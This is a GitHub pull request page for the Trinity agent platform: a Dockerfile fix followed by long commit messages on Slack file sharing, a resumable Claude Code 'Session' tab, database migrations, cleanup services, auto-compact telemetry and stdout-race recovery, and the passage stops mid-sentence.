fix: add missing logging_config.py to backend Dockerfile by webmixgamer · Pull Request #4 · Abilityai/trinity

webmixgamer · 2026-01-06T04:14:42Z

The backend Dockerfile was missing COPY instruction for logging_config.py, causing ModuleNotFoundError when running in production mode (docker-compose.prod.yml).

Development mode works because it uses volume mounts that include all files, but production builds only the explicitly copied files.

The backend Dockerfile was missing COPY instruction for logging_config.py, causing ModuleNotFoundError when running in production mode (docker-compose.prod.yml). Development mode works because it uses volume mounts that include all files, but production builds only the explicitly copied files.

- Add Phase 13-14 requirements for scalability & process orchestration - Document simplified role model (Executor/Monitor/Informed) - Add human approval steps concept for business processes - Enhance demo-analyst and demo-researcher templates - Improve create-demo-agent-fleet command - Fix replay mode activity & context simulation in network.js - Merge conflict resolution for PR #3 and #4 changelog entries 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

Test Results: - T2.1: Exclusive gateway (XOR) routing ✅ - T2.2: Gateway with default route fallback ✅ - T2.3: Parallel execution (fork/join) ✅ - T2.4: Step-level conditional skip ✅ Key Findings: - Gateway routes use 'target' field (not 'next') - Default route via 'default_route' at step level - Step conditions use path syntax (steps.x.output.y) not template syntax ({{steps.x.output.y}}) Fixes Applied: - Fixed all T2 YAMLs with correct gateway syntax - Added depends_on and conditions for path steps - Documented Issue #4 in test results Running Total: 8/22 tests passing (36%) Refs: PROCESS_ENGINE_ROADMAP.md Phase 1

- requirements.md: Added SLACK-FILES requirement (§15.1b-iii) - feature-flows/slack-file-sharing.md: Full flow document - feature-flows.md: Index updated with new flow - task_execution_service.py: Move start_time before try block (review item #3) - message_router.py: Sanitize session_id in upload path (review item #4) Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

…container (#222) * feat: Bidirectional file sharing — Slack to agent (inbound) (#222) Enable Slack users to upload files that agents can process. Images are embedded as base64 data URIs for Claude vision. Text files (CSV, JSON, TXT, etc.) are copied into per-session container directories via Docker put_archive API. Security: - Filename sanitization (path traversal prevention, hidden file rejection) - Per-user file upload rate limiting (5 files/min) - Size caps: 5MB per image, 10MB per file, 10MB total inline images - Max 10 files per message - Unsupported formats rejected with user message (PDF, archives, video, audio) - Per-session upload dirs cleaned up after execution (all exit paths) Architecture: - FileAttachment model + files field on NormalizedMessage (channel-agnostic) - adapter.download_file() — each channel implements its own download auth - files:read OAuth scope added for Slack workspace installs - container_put_archive() async wrapper in docker_utils - Task execution logging: timeout, HTTP status, elapsed time Tests: 36 unit tests covering sanitization, type routing, size limits, extraction, rate limiting, session directories Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * docs: Add requirements, feature flow for Slack file sharing (#222) - requirements.md: Added SLACK-FILES requirement (§15.1b-iii) - feature-flows/slack-file-sharing.md: Full flow document - feature-flows.md: Index updated with new flow - task_execution_service.py: Move start_time before try block (review item #3) - message_router.py: Sanitize session_id in upload path (review item #4) Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Pavlo <pash@pashs-MBP.home> Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com> Co-authored-by: vybe <me@evyborov.com>

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

…pipeline

@Interactive

* docs(planning): add Session tab design — --resume-default chat surface Adds docs/planning/SESSION_TAB_2026-04.md, the comprehensive plan for a new "Session" tab living alongside Chat. Sessions reattach to their own Claude Code JSONL via --resume, preserving tool memory, mid-skill state, and reasoning state across turns. Plan covers: - UI design (tab placement, multi-session model, +New Session, Reset memory) - Data model (agent_sessions / agent_session_messages — parallel to chat) - Backend architecture (separate router, single shared change to task_execution_service for persist_session plumbing) - Phased rollout (foundation → backend → frontend → hardening → GA) - Edge cases & failure-mode lessons baked in from a prior local spike (parser bug, --no-session-persistence dependency, cold-turn detection, port allocation) - Test plan including the cross-session contamination test for Anthropic claude-code#26964 - Retention/cleanup policy, observability, security checklist - Local-first workflow: implementation runs entirely on this branch until validation passes; only then does the standard SDLC engage (issue, push, PR) Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(db): add agent_sessions + agent_session_messages tables Phase 1.1 of the Session tab plan (docs/planning/SESSION_TAB_2026-04.md). Schema definitions go in db/schema.py for fresh installs; the matching idempotent migration agent_sessions_tables in db/migrations.py upgrades existing databases. The schema mirrors chat_sessions / chat_messages but is strictly parallel — no foreign keys, no shared columns, separate index namespace. Three fields are unique to the session model: - agent_sessions.cached_claude_session_id — the Claude Code session UUID the next turn will pass to ``--resume`` - agent_sessions.consecutive_resume_failures — drives the resume-failure fallback (Phase 2.2) - agent_session_messages.cache_read_tokens — observability for whether Anthropic's prompt cache engaged CASCADE on session delete cleans up message rows automatically. Verified locally: backend restart applies the migration cleanly, tables have 15 columns each with correct types/defaults/PKs, all four indexes created, second restart confirms idempotency. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(db): add SessionOperations for Session tab persistence Phase 1.2 of the Session tab plan (docs/planning/SESSION_TAB_2026-04.md). - Adds AgentSession and AgentSessionMessage Pydantic models in db_models.py with the new fields the Session tab needs beyond ChatSession/ChatMessage: cached_claude_session_id, last_resume_at, consecutive_resume_failures on the session row, and cache_read_tokens + claude_session_id on each message. - Creates db/sessions.py with a SessionOperations class mirroring the ChatOperations shape: create_session, get_session, list_sessions, delete_session, add_session_message, get_session_messages, plus the Claude UUID cache helpers (get/update/clear_cached_claude_session_id) and resume health helpers (mark_resume_failure, mark_resume_success). - Wires the new ops into the DatabaseManager facade alongside the existing _chat_ops, with one delegating method per public operation. No router, no agent-server change, no frontend yet — those land in later phases. Tables agent_sessions and agent_session_messages already exist from the prior schema commit. * feat(session-tab): backend foundation for --resume-default Session surface Phases 1.3 through 1.7 of the Session tab plan (docs/planning/SESSION_TAB_2026-04.md). Pure backend / agent-server work behind a flag — no UI surface yet, no behavior change to Chat or any existing /task caller. Agent server (base image): - Stream-json parser fix (Appendix B). Both parse_stream_json_output and process_stream_line now recognize {"type":"system","subtype":"init"} for session_id capture, with the result event as a fallback when init was missed (truncated streams). The legacy bare-init shape is intentionally rejected. This is the same bug that would have made Session caching corrupt on every cold turn. - Same bug in execute_headless_task's permission-mode validation site: the check matched the wrong shape, so permission_mode_validated never flipped to True and the protective kill-on-misconfigured-permission path silently failed open. Now uses type=system + subtype=init. - New persist_session flag threaded through ParallelTaskRequest → routers/chat.py → AgentRuntime ABC → ClaudeCodeRuntime.execute_headless → execute_headless_task. When True, --no-session-persistence is omitted so the JSONL is written and the next turn's --resume can find it. --session-id is still passed for unique cold-turn namespace. Default False keeps every existing caller stateless. - gemini_runtime accepts the parameter for ABC parity and ignores it (Gemini CLI has no resume). Backend: - task_execution_service.execute_task now accepts persist_session: bool = False and threads it into the agent payload. All existing callers (Chat, schedules, MCP, fan-out, webhooks) keep today's behavior; only the future routers/sessions.py (Phase 2) opts in. - settings_service.is_session_tab_enabled() — feature flag resolving system_settings.session_tab_enabled → SESSION_TAB_ENABLED env → False. Module-level convenience function exposed. Tests (run inside trinity-backend container — Python 3.11): - tests/unit/test_session_operations.py — 9 tests against an isolated SQLite DB exercising the full SessionOperations CRUD plus the cached claude session UUID lifecycle and resume failure / success counters. - tests/unit/test_claude_code_session_id_parser.py — 8 tests covering both parsers (batch + streaming): system/init recognition, result fallback, init-wins-over-result, legacy bare-init rejection, and a source-level regression guard for the permission-mode validation fix. - tests/unit/test_session_persistence_flag.py — 8 tests pinning the contract: signatures across the runtime ABC, ParallelTaskRequest, agent chat router, execute_headless_task, and task_execution_service.execute_task. Includes the gating regex check on --no-session-persistence and a live signature import to catch drift AST parsing alone would miss. Total: 25 passing tests covering every touchpoint of Phase 1. Base image (trinity-agent-base) rebuilt to embed the agent-server changes; existing agent containers will pick them up on next recreate. * feat(session-tab): backend turn endpoint for --resume-default Session surface Phase 2 of docs/planning/SESSION_TAB_2026-04.md. Six endpoints under /api/agents/{name}/session{s,...} that mirror routers/chat.py's auth model and TaskExecutionService usage but persist to the parallel agent_sessions / agent_session_messages tables and request persist_session=True on every turn so each call reattaches via `claude --print --resume <uuid>`. Surface gated on is_session_tab_enabled() — flag-off default returns 404 from every endpoint. POST /api/agents/{name}/session create row GET /api/agents/{name}/sessions list (per-user) GET /api/agents/{name}/sessions/{id} session + messages POST /api/agents/{name}/sessions/{id}/message THE turn POST /api/agents/{name}/sessions/{id}/reset clear cached uuid DELETE /api/agents/{name}/sessions/{id} delete row + msgs Spike-pitfall defenses baked into the turn endpoint: - L3 (first-turn-has-no-session-id): the agent_sessions row is created server-side via POST /session BEFORE the turn endpoint ever calls execute_task. No frontend-first model. - L2 (cold turn writes empty JSONL): persist_session=True is passed unconditionally — Phase 1.4 already wired the flag through the agent stack; Phase 2 just promises to set it on every turn. - L1 (parser misses system/init): trust result.session_id directly — Phase 1.3 fixed the parser. Scenario A confirms the captured UUID is the real Claude UUID end-to-end. Phase 2.2 resume-failure fallback: when execute_task returns "no conversation found" on a turn that had a cached UUID, clear the cache, mark_resume_failure, and retry once with resume_session_id=None. Logs event=session_resume_fallback with the stale UUID and consecutive failure count. Anthropic #39667 (cleanupPeriodDays) and #53417 (CLI upgrade) both produce this signal. Phase 2.3 Redis lock: SET NX EX per (agent, claude_uuid) with 5-min TTL and Lua-script release. Async poll loop (250ms tick) so the event loop stays free during contention. Cold turns skip the lock (no JSONL to corrupt). Hard 30s wait ceiling — beyond that the contender gets HTTP 429 with retry hint. Mitigation for Anthropic #20992 (concurrent --resume JSONL writes corrupt the file). Per-user ownership at the row layer: even agent owners cannot read or send into another user's session (E6 isolation in the design doc). Returns 404 for ownership failures so we don't leak session-id existence. Tests (tests/integration/test_session_turns.py, run inside trinity-backend container with docker.sock mounted for testfix recreation + JSONL surgery in Scenario C): Scenario A: 3-turn happy path — same Claude UUID across turns Scenario B: turn 2 recalls a secret from turn 1, no text-replay Scenario C: JSONL deletion mid-session triggers fallback + recovery Scenario D: concurrent POSTs serialise via Redis lock (asserts finish_gap ≈ winner_work_time, NOT total wall) Scenario E: switching sessions A → B → A preserves A's UUID 5 passed in 54.5s against the live agent-testfix container (recreated onto the rebuilt base image first per L4 in the plan). Phase 1's 25 unit tests still pass — no regressions. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(session-tab): frontend Session surface Phase 3 of docs/planning/SESSION_TAB_2026-04.md. Adds the new "Session" tab in AgentDetail, gated on the is_session_tab_enabled() platform flag so it stays invisible until explicit opt-in (default off). Backend prerequisite — routers/settings.py: - GET /api/settings/feature-flags exposes a curated allowlist of UI- relevant flags to any authed user. The existing /api/settings/{key} endpoint is admin-only and would block non-admin frontends from even knowing whether to render the Session tab. The new endpoint reads through services.settings_service.is_session_tab_enabled() so the resolution order (DB → env → False) stays in one place. Frontend: - src/frontend/src/stores/sessions.js — Pinia store wrapping the six /api/agents/{name}/sessions* endpoints with per-agent state isolation and the feature-flag cache. Optimistic user-message insert with rollback on send failure. - src/frontend/src/components/SessionPanel.vue — structural copy of ChatPanel reusing ChatMessages + ChatInput + ModelSelector. Differs from Chat in three places per the design doc: * Sends bare user_message to POST .../sessions/{id}/message — no buildContextPrompt text-replay (the agent already has working memory via --resume). * "Reset memory" button + confirm modal that clears the cached Claude UUID without deleting the message log (Phase 3.4). * Per-session selector subtitle: turn count, context % used, cached-memory dot (emerald/gray), and consecutive_resume_failures indicator (Phase 3.5). Lean cut for first-visible-surface: voice mic, file upload, and SSE dynamic status labels are deferred — those need backend extensions (file payload on the turn endpoint, async_mode + SSE on the same). - src/frontend/src/views/AgentDetail.vue — new Session tab inserted between Chat and Dashboard/Schedules, gated on sessionsStore.sessionTabEnabled. Layout sites that previously branched on activeTab === 'chat' now use a shared isFullscreenTab computed so Chat and Session both get the input-pinned-to-bottom flex layout. ?tab=session deep-link allowlist updated. - src/frontend/e2e/session-tab.spec.js — Phase 3.6 Playwright spec. Marked @Interactive (not @smoke) because each run makes one real Claude API call (~10–60s). Snapshots the prior flag value in beforeAll, force-enables for the run, restores in afterAll so a failed run doesn't leave the platform with the flag dirty. Three cases: * tab is hidden when flag is off * tab appears, "+ New Session" → send turn → reply visible → Reset memory modal opens + closes * Chat tab still works after Session interaction; switching back preserves Session state Visually verified in the live dev server: tab renders in correct position, header layout matches Chat's structure, empty state and placeholder copy match the design doc, "Reset memory" only shown when an active session exists, full-viewport flex layout pins input to bottom. Phase 1 + Phase 2 work behind this change is unchanged: 25 unit tests + 5 integration tests still green. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(session-tab): hardening + observability — cleanup service, contamination gate, docs Phase 4 of docs/planning/SESSION_TAB_2026-04.md. Closes the JSONL disk-growth loop, validates the GA-blocking cross-session contamination hypothesis empirically, and lands architecture.md / feature-flows documentation so the surface is discoverable. Phase 4.3 — cross-session contamination GA gate (the load-bearing one): - tests/integration/test_session_cross_contamination.py exercises the Anthropic #26964 hypothesis end-to-end. Plants a randomly-generated secret token in session A with explicit "do not echo" framing, asks session B (different UUID, same agent, same cwd) to recall the token. Hard-fails if the exact token leaks; soft-fails on partial-prefix recall (PURPLE-DRAGON without the random suffix would only be knowable from A's JSONL, not from training). - PASSED in 9.5s on the current Claude Code version → shared-cwd model is safe → Phase 5 rollout unblocked. Test stays in the suite as the per-version regression guard. Phase 4.2 — JSONL cleanup service: - services/session_cleanup_service.py runs a 6h periodic sweep that diffs every running agent's ~/.claude/projects/-home-developer/<uuid>.jsonl set against db.list_active_claude_session_ids(agent) and reaps orphans whose mtime is older than the 1h race guard. Race guard prevents the cold-turn-vs-cleanup window where a brand-new JSONL exists on disk before the backend has updated cached_claude_session_id. - Same service exposes a synchronous reap_jsonl(agent, uuid) helper called best-effort from routers/sessions.py reset/delete handlers so the user-perceived disk-reclaim latency is sub-second. Never raises; failures are logged and the periodic sweep is the safety net. - Implementation uses execute_command_in_container — the same primitive git_service / ssh_service / scheduler pre-check / agent terminal use. No new agent-server endpoint, no base-image rebuild. - New db.list_active_claude_session_ids(agent) facade method backed by SessionOperations.list_active_claude_session_ids querying every agent_sessions row whose cached_claude_session_id is non-null for the agent. - main.py wires startup (staggered +7.5s after cleanup_service to offset Docker hits) and clean shutdown. - tests/integration/test_session_cleanup.py: reset reaps synchronously, delete reaps synchronously, periodic sweep keeps the active JSONL, reaps an aged orphan, respects the 1h race guard for fresh orphans. Phase 4.4 — architecture.md updates: - Background Services table gets a Session Cleanup row. - New "Session Tab" subsection in API Endpoints documenting all six /api/agents/{name}/sessions* routes including the per-user ownership rule (404 not 403) and the resume-failure fallback / Redis lock. - New /api/settings/feature-flags row. - New agent_sessions / agent_session_messages DDL block in Database Schema, with the three Session-specific fields called out (cached_claude_session_id, consecutive_resume_failures, cache_read_tokens, claude_session_id audit). Phase 4.5 — feature-flows/session-tab.md vertical slice: - Full path from UI → API → DB → Side Effects with the JSONL lifecycle table, the spike-pitfall defense map (L1/L2/L3/#20992/#26964), the error-handling matrix, and the complete test catalog with the docker run command for the integration suite. - feature-flows.md index updated (Recent Updates row + Chat & Sessions section entry). Test totals: 25 unit + 9 integration = 34 tests, all green. Phase 4.3 serves as both the GA gate and the per-Claude-version regression guard. Phase 4.1 (cache_read_tokens UI surfacing) deferred — the column is already populated by the Phase 2 turn endpoint; surfacing is a minor observability follow-up that doesn't block Phase 5. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(session-tab): tag Session-tab turns with triggered_by="session" and a gold badge Previously Session-tab turns went into schedule_executions with triggered_by="chat", so the Tasks tab couldn't tell them apart from the Chat tab. The user-visible signal was that every Session turn showed up under the sky-blue "chat" badge. Backend (routers/sessions.py): both call sites that invoke task_execution_service.execute_task — the cold/resume turn and the resume-failure fallback retry — now pass triggered_by="session". Existing rows are unchanged; the cutover is per-write. Frontend (TasksPanel.vue): adds a "Session" option between "Chat" and "Manual" in the trigger filter dropdown, plus an amber/gold badge branch (bg-amber-100 dark:bg-amber-900/30 text-amber-700 dark:text-amber-300) — visually distinct from "paid" (bright yellow) and from the sky-blue "chat" badge. triggered_by is a free-form TEXT column (no enum constraint at the DB or service layer), so adding "session" as a new value doesn't require any migration or downstream consumer updates. Filter, badge, audit log, activity stream, and dashboards all just see another value and display it; nothing has to know about it explicitly. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(session-tab): correct context-window accounting + raise frontend turn timeout Five interrelated fixes from manual testing — all about the per-turn "context %" metric being misleading and the browser timing out before long-running session turns finished. 1) Agent server (docker/base-image/agent_server/services/claude_code.py) process_stream_line's `result` event handler used to overwrite metadata.input_tokens, cache_read_tokens, and cache_creation_tokens with the values from result.usage. Those values are CUMULATIVE across every internal API call the turn made (Claude Code packs tool-use loops into a single user turn that maps to N internal API calls). For an 18-iteration turn each reading the same 70K cached prefix, result.usage.cache_read_input_tokens = 18 * 70K = 1.26M tokens — billing-cumulative, not the prompt size of any single call. Overwriting per-message values with that aggregate made our context-window-pressure metric grow far beyond the 200K limit even when no individual API call was anywhere close to the wall. Fix: result handler now only extracts model-level facts (cost, duration, num_turns, session_id, error info, modelUsage.contextWindow). Per-API-call usage stays in the per-assistant-message handler, where the LATEST message's values represent the FINAL API call's prompt size — exactly what determines whether the next turn will fit. Also added a per-message usage-extraction block to the assistant branch of process_stream_line (it previously had no usage extraction at all, relying entirely on the result handler — which made my first attempt at this fix produce zero values). parse_stream_json_output already had the equivalent block (lines 211-215). Base image rebuilt; agent-testfix recreated onto the new image (image sha 0a1e20b40da1). 2) Backend (services/task_execution_service.py) Replaced `context_used = metadata.input_tokens` with `cache_read + cache_creation` (with input_tokens fallback when caching isn't engaged). input_tokens is sometimes the disjoint fresh value and sometimes inflated by the agent server's modelUsage.inputTokens override on tool-call turns. cache_read and cache_creation come straight from Anthropic's usage object and (post agent-server fix) are reliable per-call values that monotonically reflect the cached conversation prefix. 3) DB (db/sessions.py) total_context_used is now a HIGH-WATERMARK (MAX of prior + new), not the latest value. Per-turn context naturally oscillates by ~2x between text-only and tool-call turns; the watermark gives users a stable monotonic upper bound on session pressure that only goes up. Capped the watermark at total_context_max as a safety belt against any future agent-server bug that emits cumulative-billing token counts. Genuine per-call peaks should never exceed the model's context window — if they do, that's an accounting error not a real overflow, and the UI should display 100% rather than 648%. 4) Frontend (stores/sessions.js) Bumped the Axios timeout on the session turn endpoint from 305s (~5 min) to 7260s (= TIMEOUT-001 cap of 7200s + 60s slack). The session turn endpoint is synchronous and may legitimately run for the agent's full execution timeout. With the previous 305s ceiling the browser threw a misleading "failed" toast on tool-heavy turns that ran longer; the response still landed in the DB and the UI recovered after a page refresh, but the user saw a phantom error. Verified end-to-end with a 6-turn mixed sequence (text + tool-call): per-call cache_read now reports ~11636 on text-only turns and ~18000 on tool-call turns (one extra round-trip's worth) instead of the previous bogus 1,257,915 on tool-heavy turns. Watermark grows from 18073 to 18429 across 6 turns — monotonic, no oscillation, real per-call peaks. Existing inflated session rows (the bogus 648% / 100% sessions from before this fix) stay as-is — the watermark cap stops them growing further but the historical max is permanently stored. New sessions created after this commit are accurate. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(session-tab): Phase 5.1 — context warnings, stdout-race recovery, limitations doc Bundles the round-of-decisions outcomes from the Phase 5 open-questions discussion. Three code changes, three deferrals documented, one item gated on a manual test before shipping. Frontend (SessionPanel.vue) — context-window pressure warnings. Buckets driven by the active session row's watermark divided by total_context_max: < 75% : nothing 75–89% : subtle gray "Session context: X% — heavy" hint 90–99% : amber banner with "Reset memory" suggestion ≥ 100% : red banner warning the next turn may fail or trigger memory-loss fallback No hard send-block at 100% — fallback path stays as the safety net. Computed values gracefully handle a brand-new session (no row yet). Agent server (claude_code.py) — stdout pipe race soft recovery. When a child subprocess inherits Claude Code's stdout, the final result event line can be lost ("I/O operation on closed file" + "Reader thread(s) stuck after process exit"). Previously surfaced as 502 with the misleading "infrastructure failure; retry the task" message even though the assistant had completed its work and accumulated text into response_parts. The reply was sitting in the JSONL on disk untouched; only the closing-stats line was lost in the pipe. Fix: at the empty-result classification site, if response_parts has accumulated assistant text, log a warning and fall through to the success path instead of raising. cost_usd / duration_ms stay None for these recovered turns (we don't know what they were); the backend records the execution as success with null cost rather than a misleading FAILED. Hard failure path stays for the truly empty case (no response_parts content). Base image rebuilt; agent-testfix recreated onto image 305731fc34e0. The user's last "comprehensive report" turn that produced 67KB of content but threw a phantom error in the UI would now succeed cleanly. Docs (feature-flows/session-tab.md) — Known limitations section. Five entries that need to make it into the user-facing docs at Phase 5.3: 1. Voice mic not wired into Session (deferred — Chat tab for voice) 2. Per-message file upload not yet supported on Session (Phase 5.2) 3. Agent restore from backup may require fresh sessions (separate platform-level issue — workspace volumes not in backup script) 4. Long Session turns may surface phantom errors in browsers (Axios 7260s ceiling vs. browser/OS sleep — refresh recovers) 5. Stdout pipe race recovery is best-effort (recovered turns will show null cost / duration in Tasks tab) Round-of-decisions outcomes: ✅ #1 — UI thresholds shipped here, stdout race fixed here ⏳ #2 — subscription-change cache clear (E7) — gated on manual §5.5 test before shipping the proactive clear ⏭ #3 — backup/restore (E9) — separate platform-level issue later; documented in §Known limitations ⏭ #4 — admin JSONL UI access — deferred follow-up 📋 #5 — file upload parity — Phase 5.2 ⏭ #6 — voice on Session — deferred + documented limitation The §5.5 E7 verification test was added to tests/manual/session-tab/README.md which is tracked locally only (per the testing-kit precedent). Decision on the proactive cache-clear hinges on its outcome. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(session-tab): Phase 5.2 — file-upload parity with Chat The Session tab's input had drag-drop and the paperclip button (inherited from ChatInput), but the second arg from ChatInput's submit event (the files array) was being parameter-discarded in SessionPanel.vue and never reached the backend. Result: users uploaded a file, sent their message, and the agent reported "I can't see any attached file in this conversation" — the upload silently dropped. Closes the parity gap by mirroring routers/chat.py's exact upload handling. No new behavior — same limits (3 files, 5 MB each, 5 MB per image, 20 MB total image budget per WEB_MAX_*), same image-vs-non-image split, same prompt-line append. Backend (routers/sessions.py) - SessionMessageRequest: new optional `files` list (same shape as ParallelTaskRequest.files / WebFileUpload — name, mimetype, size, data_base64). - Turn endpoint: when body.files is set, decode each via services.upload_service.decode_web_file, then run the same process_file_uploads() helper Chat uses. Non-images get written into the agent workspace via Docker put_archive; images come back as already-decoded vision-block dicts in image_data. - Append the file_descs lines to a new `effective_message` so the agent prompt contains "[File uploaded by X]: name (size) saved to path" references inline. Persisted user message stays as the original body.message — visible chat log reads naturally; the agent sees the file references. - Pass image_data to execute_task as `images=` so vision blocks land on the next API call. Both the resume call and the cold-retry fallback receive the same effective_message + images (files were already written to the workspace before the first attempt; cold retry just re-references them). - 502 from process_file_uploads' all_writes_failed bubbles up cleanly; agent-not-found pre-check returns 503. Frontend (stores/sessions.js) - sendMessage() accepts a `files` array in opts; included in the POST body when non-empty. Optimistic user-message insert stays text-only (the chat log preview doesn't need to render file chips). Frontend (SessionPanel.vue) - onSubmit() now takes both args from ChatInput's submit event. Allow-empty-text-with-files is permitted (matches Chat's UX). - Forwards files into sessionsStore.sendMessage's opts. Verified end-to-end on a fresh session: uploaded a 66-byte text file with a unique sentinel embedded; agent read the file out of the workspace and recalled the sentinel verbatim. No fallback fired. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(session-tab): drop watermark, store last-cache reading directly agent_sessions.total_context_used was a high-water mark (MAX of all per-turn cache readings, capped at total_context_max). Claude Code's auto-compact (~85% of the model window) silently resets the cache mid-turn, so the watermark asymptoted near the compact threshold and stopped conveying useful information — every heavy session ended up visually stuck around 67-69% regardless of actual recent activity. Switch to direct assignment of the most recent assistant turn's cache size. The total_context_max cap (cc5c37b) stays as defence-in-depth against agent-server accounting bugs reporting impossible token counts. Existing inflated rows on agent-testfix self-heal on next turn — no migration, no backfill. Two new unit tests pin the contract: a lower new value overwrites a higher prior value, and a None reading preserves the prior value (stdout-pipe-race recovered turns). * fix(session-tab): rename "% context" to "% last cache" and remove pressure banners The 75/90/100% banners never fired empirically — Claude Code auto- compacts mid-turn at ~85% of the model window, which prevents the underlying metric from ever crossing 75%. A pressure warning that silently never warns is worse than none. The subtitle label "% context" reads as session memory pressure when it's actually the most recent assistant turn's cache size. Relabel to "% last cache" so the meaning matches what the column actually stores (after the prior commit dropped the watermark semantics). Reset modal copy: drop the "context-window pressure" framing for the same reason, replace with "start a clean line of thought." Removes orphaned contextPct / contextPctBucket / currentSession script helpers — no remaining users after the banner deletion. * docs(user-docs): add Session tab user guide Covers what the Session tab is, when to use it vs Chat, and the three limits/behaviours users will hit on a long heavy session: - The "last cache" metric — explicitly per-turn cache size, NOT session memory pressure. Bounces because of auto-compact. - Auto-compact at ~85% of the model window — what users see (sudden drop in % last cache, ~2 min added latency), what survives (working memory in compressed form), what doesn't (verbatim history). - The 50-turn agentic-loop cap (max_turns_task) — per-turn iteration budget, NOT session message count. Heavy 12-step tasks routinely hit it. Includes a curl recipe for raising the cap per agent via PUT /api/agents/{name}/guardrails. Also documents Reset memory, file attachments, the Session API endpoint surface, and the four known limitations carried over from docs/memory/feature-flows/session-tab.md (voice not wired, DR backup forces fresh sessions, suspended-browser phantom errors, stdout-pipe-race best-effort recovery). Modeled after docs/user-docs/agents/agent-chat.md for tone and structure. * feat(db): persist auto-compact events on session messages and executions Claude Code's auto-compact (~85% of the model window) silently summarizes ~170k tokens of conversation into a ~10k summary mid-turn, takes ~2 min, and previously left no trail in our data — users saw only an unexplained long execution and a sudden % drop on the next turn. This change adds three additive nullable columns plus the persistence plumbing across the standard Trinity router → service → db pipeline: - agent_session_messages.compact_metadata (TEXT, JSON list of events) - agent_sessions.compact_count (INTEGER, running tally) - schedule_executions.compact_metadata (TEXT, denormalized for Tasks) The session-level compact_count drives a future inline "consider starting fresh" hint without scanning per-message rows. The denormalized copy on schedule_executions lets the Tasks tab render the badge without joining session messages — Trinity invariant 1 (router → service → db) preserved on both the Session router and the task_execution_service. Migration is idempotent via the existing _safe_add_column helper. Empty columns on existing rows; populates from the next turn forward once the agent server is rebuilt with the parser branch (separate commit). One new unit test pins compact_metadata persistence + compact_count accumulation across turns; the existing test_session_operations DDL fixture mirrors the new columns. * feat(agent-server): parse compact_boundary events and emit structured log Claude Code emits {"type":"system","subtype":"compact_boundary","compactMetadata":{trigger,preTokens,postTokens,durationMs}} on its stream-json output when it auto-compacts mid-turn. Both parsers (parse_stream_json_output for batch, process_stream_line for live) now recognise the event, append a CompactEvent to metadata.compact_events, and emit a structured INFO log line per event: event=session_auto_compact claude_session_id=... trigger=auto pre_tokens=170325 post_tokens=12691 duration_ms=110361 Vector picks the line up via Docker stdout — no infrastructure change. The compact_events list rides through ExecutionMetadata.model_dump() into the agent server HTTP response, where the backend extracts and persists it (separate commit). Five new unit tests exercise: single-event capture in batch parser, multi-event ordering within one turn, empty-events on a normal turn, streaming-parser capture, and model_dump round-trip for the wire shape. Live behaviour requires rebuilding trinity-agent-base:latest and recreating each agent container — already done locally at the new SHA. * feat(session-tab): surface auto-compact events in Session + Tasks UI Two surfaces, one signal: TasksPanel — adds a small violet "compacted" badge next to the trigger badge for any execution that fired one or more compact_boundary events. Multi-compact turns show `compacted ×N`. Hover tooltip lists each event with pre→post tokens and duration so latency anomalies become legible at a glance. Reads task.compact_metadata (denormalized JSON column) without needing to follow the relation back to agent_session_messages. SessionPanel — adds an inline italic hint adjacent to the Reset memory button when the active session has compacted more than 5 times. Reads session.compact_count (running tally maintained by the DB layer). Quiet under normal use; visible only when stacked compacts have meaningfully degraded summary fidelity. Threshold lives as a script-local constant (COMPACT_HINT_THRESHOLD) for easy tuning from telemetry later. The currentSession computed (deleted in Bundle A when the pressure banners went away) is reinstated here since the inline hint needs it. Pinia store sessions.js needs no change — compact_count and compact_metadata ride through on the existing API responses without new state slots. * fix(db): propagate compact_metadata through DatabaseManager facade b12307c extended ScheduleOperations.update_execution_status with the new compact_metadata kwarg but missed the thin facade wrapper in database.py. The session turn endpoint hit: TypeError: DatabaseManager.update_execution_status() got an unexpected keyword argument 'compact_metadata' Trivial fix — the facade just forwards. Caught at runtime on the first Session turn after Bundle B landed. * fix(db): propagate compact_metadata through DatabaseManager.add_session_message Same facade gap as the prior fix for update_execution_status — the thin wrapper in database.py was missed. Surfaced as: TypeError: DatabaseManager.add_session_message() got an unexpected keyword argument 'compact_metadata' …on the first Session-tab turn after the previous facade fix unblocked the schedule_executions write path. Adds the same two pass-through kwargs (compact_metadata, compact_event_count) so the Session router can persist auto-compact events on session messages and bump the running compact_count tally. * fix(agent-server): recover from stdout pipe race via JSONL fallback When a tool subprocess (or MCP grandchild) inherits Claude Code's stdout fd and wedges the agent server's reader thread, the stream-json result event is lost. The Phase 5.1 soft-recovery (response_parts != [] → synthesize success) only fires when stdout managed to deliver at least one assistant text block before the wedge. For races that fire mid-tool-call (zero text emitted to stdout), response_parts is empty and the soft-recovery falls through to a hard 502. Symptom users saw: heavy multi-step tasks (e.g. /session-context-pressure running `python3 -c "..."` via Bash to generate 32KB of synthetic text) sometimes returned "Execution completed without a result message after 0 tool calls / 1 turns (raw_messages=4)" — even though the JSONL on disk contained the fully-completed turn. Probabilistic; retry usually worked; root cause was the kernel pipe buffer exhausting before the reader thread could drain after grandchildren died. Fix: when the existing soft-recovery path falls through (no response_parts text), read the session's JSONL via a side-channel that is INDEPENDENT of stdout (Claude Code's own session record). Walk backward to the most recent user-input boundary (string content, distinguished from tool_results which have list-of-dicts content), collect every assistant.text block emitted after, and synthesize a soft-success response. Sets metadata.recovered_from_jsonl=True for observability. If no text was emitted between boundary and EOF, the turn is genuinely incomplete and the original 502 surfaces. 11 unit tests cover happy path (matches the actual failure shape with 2× Bash 